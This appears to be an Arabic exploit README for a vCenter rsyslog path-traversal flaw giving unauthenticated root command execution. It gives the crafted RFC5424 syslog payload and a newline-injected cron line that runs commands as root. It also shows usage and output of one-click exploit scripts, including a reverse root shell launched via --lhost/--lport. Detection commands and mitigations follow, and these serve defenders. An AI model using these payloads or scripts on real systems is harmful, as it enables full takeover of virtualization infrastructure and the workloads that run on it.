CVE-2026-59310 — اجتياز مسار Syslog في VMware vCenter يؤدي إلى تنفيذ أوامر عن بُعد دون تصريح

إخلاء المسؤولية: هذا المشروع مخصص فقط لاختبارات الأمان المصرّح بها، والتحقق من الثغرات، وأبحاث الدفاع. يُرجى استخدامه في بيئات حصلت على تصريح كتابي صريح. يتحمل المستخدم وحده مسؤولية أي عواقب ناتجة عن سوء الاستخدام.

جدول المحتويات

• نظرة عامة على الثغرة
• الإصدارات المتأثرة
• أسباب الثغرة
• سلسلة الاستغلال
• البيئة والتحقق من الاستغلال
• إعادة الاستغلال عبر السكربت
• الكشف والفحص الذاتي
• توصيات الإصلاح
• الأسئلة الشائعة
• روابط مرجعية

نظرة عامة على الثغرة

تستخدم خدمة استقبال syslog المدمجة في vCenter (rsyslog) قالب مسار ديناميكي لحفظ السجلات، حيث يقوم القالب بدمج حقلي APP-NAME وHOSTNAME من ترويسة الرسالة مباشرةً في مسار الملف، دون أي تنقية للمسار. يستطيع المهاجم إرسال رسالة مُصمّمة إلى منفذ syslog الذي يمكن الوصول إليه، مما يجعل مسار الكتابة يفلت من دليل السجلات المحدد مسبقًا، ثم بالاقتران مع المهام المجدولة تحقيق تنفيذ أوامر عن بُعد.

يُعدّ vCenter مركز إدارة المحاكاة الافتراضية، وسقوطه يعني سقوط بيئة vSphere / VCF بأكملها.

الإصدارات المتأثرة

الإصدارات المتأثرة (الأقدم من إصدارات الإصلاح التالية)

يشمل أيضًا: عمليات نشر vCenter المستقلة، بالإضافة إلى مكوّنات vCenter المتأثرة المستخدمة في VMware Cloud Foundation وVMware vSphere Foundation وVMware Telco Cloud.

البيئة التي تم التحقق منها: VMware vCenter Server 9.0.2.0 / Build 25148086، أقدم من إصدار الإصلاح 25629525، وهو بالفعل في حالة غير مُصلّحة.

أسباب الثغرة

1. دمج مباشر لحقول غير موثوقة في قالب المسار الديناميكي

/etc/rsyslog.conf (إعداد VMware الافتراضي من المصنع):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

يُستخدم %app-name% كاسم دليل واسم ملف في آنٍ واحد، دون أي تنقية للمسار.

2. المحدِّد (selector) متسامح أكثر من اللازم

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

يشترط فقط مطابقة البادئة، فيكفي المهاجم استخدام rsyslog/... لمطابقة هذه القاعدة والدخول إلى قالب المسار الديناميكي.

3. تسرّب محرف السطر الجديد (مفتاح RCE)

24: $EscapeControlCharactersOnReceive off

يُكتب محتوى الرسالة بما فيه محرف السطر الجديد كما هو على القرص، مما يمكّن المهاجم من التحكم في بنية الأسطر للملف المكتوب.

4. نقطة التجاوز الجوهرية: عدم اتساق سلوك محلّلي RFC3164 وRFC5424

هذه هي النقطة الأكثر عرضة للتفويت في تقييم هذه الثغرة.

• RFC3164 (pmrfc3164): يستخدم قائمة أحرف مسموحة عند تحليل اسم المضيف، ولا يسمح بـ / افتراضيًا، مما يؤدي إلى اقتطاع APP-NAME عند / → لا يمكن الاجتياز.
• RFC5424 (pmrfc5424): حقل APP-NAME مستقل ومفصول بمسافة، ولا يخضع لتحقق قائمة الأحرف المسموحة، فيُحتفظ بـ / و.. كما هما → يمكن الاجتياز.

يستخدم الخادم input(type="imudp" port="514") مجموعة القواعد الافتراضية، ويقبل رسائل RFC5424 أيضًا. يكفي أن يكتب المهاجم الرسالة بصيغة RFC5424، لتصل أحرف الاجتياز مباشرةً إلى مسار الملف.

مقارنة عملية (نفس الحمولة rsyslog/../../../../tmp/x):

دليل مساند: سيتم إنشاء .. المجرّدة كـاسم دليل حرفي (مثل rsyslog..)، مما يدل على أن طبقة omfile في rsyslog لا تقوم بتطبيع ..؛ وما يحدد النجاح فعليًا هو قدرة المحلّل على تمرير / إلى الحقل.

سلسلة الاستغلال

① حزمة UDP دون مصادقة  →  ② حقل APP-NAME بصيغة RFC5424 يحمل الاجتياز  →  ③ الإفلات من دليل السجلات والكتابة العشوائية (root)
                                                          ↓
                     ⑤ تنفيذ أوامر بصلاحيات root  ←  ④ زرع مهمة مجدولة في /etc/cron.d

الخطوات ①②③: كتابة ملفات عشوائية دون مصادقة (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

بالتعويض في القالب:

الدليل = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
الملف  = نفسه + "-syslog.log"                          →  /tmp/PWNED-syslog.log

النتيجة: الكتابة بمالك root إلى /tmp/PWNED-syslog.log، مع إنشاء الدليل الأب المفقود تلقائيًا، والمحتوى قابل للتحكم بالكامل.

الخطوات ④⑤: من كتابة الملف إلى RCE

ينتهي اسم الملف المكتوب دائمًا بـ -syslog.log، لذا لا يمكن الكتابة فوق /etc/cron.d/xxx مباشرةً. لكن بفضل تسرّب محرف السطر الجديد، يمكن حقن سطر جديد في MSG، لتبدأ المحتويات القابلة للتحكم من العمود 0 في الملف:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← يبلّغ cron عن "bad minute"، ويتم تجاهله
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← يُنفَّذ كسطر cron صالح
#

يقوم crond بالجدولة والتنفيذ بصلاحيات root، فنحصل على:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

مسارات بديلة للتنفيذ

• دليل الموارد الثابتة في VAMI: الكتابة إلى /opt/vmware/share/htdocs/ (يستمع lighttpd على 5480)، ثم القراءة عبر https://<target>:5480/...، بما يتوافق مع وصف إشعار المورّد.
• /var/spool/cron/root: يمكن الكتابة إلى هذا الدليل، لكنه يتطلب ملفًا باسم root نفسه، وهو مقيّد بلاحقة -syslog.log، لذا فإن /etc/cron.d/ أكثر مباشرة.

البيئة والتحقق من الاستغلال

نتائج التحقق

كتابة ملفات عشوائية (دون مصادقة)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] إصدار مساحة أسماء API: 9.0.0.0  (ليس appliance build، للإشارة إلى البصمة فقط)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] تم الإرسال. يُتوقع إنشاء ملف بمالك root على الهدف

# على الهدف:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

تنفيذ الأوامر (root)

$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] تم الزرع      : /etc/cron.d/cve59310<name>-syslog.log
[i] قراءة النتيجة    : cat /tmp/cve59310_<name>.txt

# بعد حوالي 60 ثانية:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

shell تفاعلي عكسي (root)

$ python3 exploit_cve_2026_59310.py <target> --lhost <عنوان IP الخاص بك> --lport 4444
[+] تم الاستماع على 0.0.0.0:4444
[+] تم الزرع      : /etc/cron.d/cve59310<name>-syslog.log
[+] نجح الاتصال العكسي من <target>:56184  —— تم إنشاء root shell

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

يُرجى استبدال عنوان IP الهدف وعنوان الاتصال العكسي ببيئة الاختبار المصرّح بها الخاصة بك.

إعادة الاستغلال عبر السكربت

المتطلبات

• Python 3.8+ (المكتبة القياسية فقط، دون حزم خارجية)
• إمكانية الوصول الشبكي إلى منفذ syslog الهدف (افتراضيًا UDP/514)

سكربت الاستغلال بنقرة واحدة exploit_cve_2026_59310.py

# 1) shell عكسي تفاعلي بصلاحيات root (الأكثر استخدامًا)
python3 exploit_cve_2026_59310.py <target> --lhost <عنوان IP الخاص بك> --lport 4444

# 2) تنفيذ أمر واحد، وتُكتب المخرجات إلى /tmp/<name>.txt على الهدف
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"

# 3) تحقق غير مدمّر: إثبات الكتابة العشوائية للملفات دون مصادقة فقط
python3 exploit_cve_2026_59310.py <target> --check

# 4) عرض أوامر التنظيف
python3 exploit_cve_2026_59310.py <target> --cleanup

المعاملات الشائعة:

PoC مبسّط poc_vcenter_rce.py

python3 poc_vcenter_rce.py <target> --check              # التحقق من الكتابة العشوائية
python3 poc_vcenter_rce.py <target> --rce "id" --name t  # تنفيذ الأوامر
python3 poc_vcenter_rce.py <target> --cleanup            # إشعار التنظيف

المُرسِل الأصلي poc_syslog_traversal.py

يتيح التحكم المستقل في HOSTNAME / APP-NAME، لبناء الرسائل يدويًا:

python3 poc_syslog_traversal.py <target> \
    --tag 'rsyslog/../../../../tmp/test' --msg 'hello'

التنظيف

توفّر هذه الثغرة بدائية الكتابة فقط، ولا يستطيع السكربت حذف الملفات البعيدة بنفسه. يجب تنفيذ التنظيف على الهدف:

rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*

الكشف والفحص الذاتي

تحديد مدى احتمالية التأثر

# عرض الإصدار في vCenter Shell (فرع 9.0 بإصدار Build < 25629525 هو غير مُصلّح)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version

# التحقق من وجود قالب مسار ديناميكي قابل للاستغلال
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf

# التحقق من تفعيل تسرّب محرف السطر الجديد
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf

فحص آثار الاختراق

# 1) ملفات غير طبيعية في /etc/cron.d (الأهم: الإدخالات ذات اللاحقة -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null

# 2) ملفات *-syslog.log مشبوهة خارج دليل السجلات (فحص القرص بالكامل، الأكثر فعالية)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) أدلة غير طبيعية ناتجة عن الاجتياز (انتبه للأدلة التي تحتوي على .. أو % وغيرها)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) المحتويات المكتوبة في دليل VAMI الثابت
ls -la /opt/vmware/share/htdocs/

# 5) اسم مضيف غير طبيعي في سجلات إعادة توجيه syslog (APP-NAME يحتوي على / أو ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head

ملاحظة: الفحص الشامل للقرص في البند 2 هو الوسيلة الأكثر موثوقية للفحص. إذا اجتاز القالب مسارًا غير موجود، فسيقوم rsyslog بإنشاء الدليل الأب تلقائيًا، لذا فإن أدلة مشوّهة مثل /..etc/ و/rsyslog../ تُعدّ أيضًا آثار اختراق واضحة.

توصيات الإصلاح

أولًا: الترقية إلى إصدار مُصلّح

قم بالترقية وفق جدول الإصدارات المتأثرة. الحد الأدنى لفرع 9.0 هو 9.0.2.0100 (Build 25629525).

تخفيف مؤقت (عند تعذّر الترقية الفورية)

1. إغلاق سطح هجوم RFC5424 (الأكثر مباشرة): اربط محلّل pmrfc3164 صراحةً بمدخلات 514/1514.

   root@kitploit:~

   parser(name="p3164" type="pmrfc3164")
   input(type="imudp" port="514" ruleset="all" parser="p3164")
   

2. تنقية المسار صراحةً: اضبط securepath="normal" وsecpath-drop="replace" لـ omfile. يشير إشعار أمان rsyslog upstream (GHSA-xmp9-244p-5ggv) بوضوح إلى أن securepath هو الحد الموثوق للمسار.

3. حظر تسرّب محرف السطر الجديد: اضبط $EscapeControlCharactersOnReceive on.

4. تشديد المحدِّد: غيّر :app-name, startswith, "rsyslog" إلى مطابقة دقيقة؛ وغيّر قواعد تحديد اسم المضيف إلى قائمة بيضاء حسب IP المصدر / النطاق، لتجنّب دخول أي مُرسِل خارجي إلى قالب المسار الديناميكي.

5. العزل الشبكي: افتح 514/1514 فقط لـ ESXi المُدار ومُمرِّرات السجلات الموثوقة، وامنع الوصول من الشبكات غير الإدارية.

⚠️ ملاحظة: ما يحجب مسار %hostname% حاليًا هو فقط السلوك الافتراضي لمحلّل RFC3164، وهو خط دفاع عرضي وليس حدًا أمنيًا موثوقًا. بمجرد تفعيل permit.slashesinhostname لأغراض التوافق، ستصبح نفس القاعدة قابلة للاستغلال فورًا.

الأسئلة الشائعة

س: لماذا يُبلّغ الأداة عن الإصدار 9.0.0.0، وهو لا يطابق الـ build الفعلي؟

ما يُرجعه /sdk/vimServiceVersions.xml هو إصدار مساحة أسماء API، وليس رقم appliance build، ولا يمكن الاعتماد عليه لتحديد ما إذا تم الإصلاح. يُرجى التحقق من الـ build الحقيقي في vCenter Shell باستخدام cat /etc/vmware-release.

س: لا يمكن قراءة النتيجة بعد تنفيذ الأمر؟

يقوم crond بالجدولة كل دقيقة، لذا يلزم عادةً الانتظار حوالي 60 ثانية. بالإضافة إلى ذلك، توفّر هذه الثغرة بدائية الكتابة فقط، ولا يستطيع السكربت قراءة الملف بنفسه، فيجب تنفيذ cat /tmp/cve59310_<name>.txt على الهدف. يمكن أيضًا تمرير أمر قراءة خارجي عبر --read-cmd (مثل ssh root@target cat {path}).

س: لم يحدث الاتصال العكسي للـ shell؟

الأسباب الشائعة: تعذّر وصول الهدف إلى جهاز المهاجم (جدار حماية / NAT / عزل النطاق)؛ لم يُفعَّل crond بعد (يمكن زيادة --timeout)؛ منفذ الاستماع غير مفتوح. يمكن استخدام --method python للتبديل إلى تنفيذ بديل.

س: لماذا لا أحصل إلا على جزء من المخرجات عند استخدام -c "a; b"؟

تم إصلاح ذلك. يستخدم السكربت إعادة توجيه جماعية { cmd; } > file 2>&1، لضمان التقاط مخرجات تسلسل الأوامر بالكامل (a; b > file تعيد توجيه الأمر الأخير فقط).

روابط مرجعية

• إشعار المورّد VMSA-2026-0006: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
• التحليل التقني (Mobeta): https://mobeta.fr/blog/vcenter-cve-2026-59309-cve-2026-59310/
• إشعار تقوية rsyslog omfile dynaFile (GHSA-xmp9-244p-5ggv): https://github.com/rsyslog/rsyslog/security/advisories/GHSA-xmp9-244p-5ggv
• ملاحظات إصدار vCenter 9.0.2.0100: https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x/vsphere/vcenter/vcenter-9-0-2-0100-release-notes.html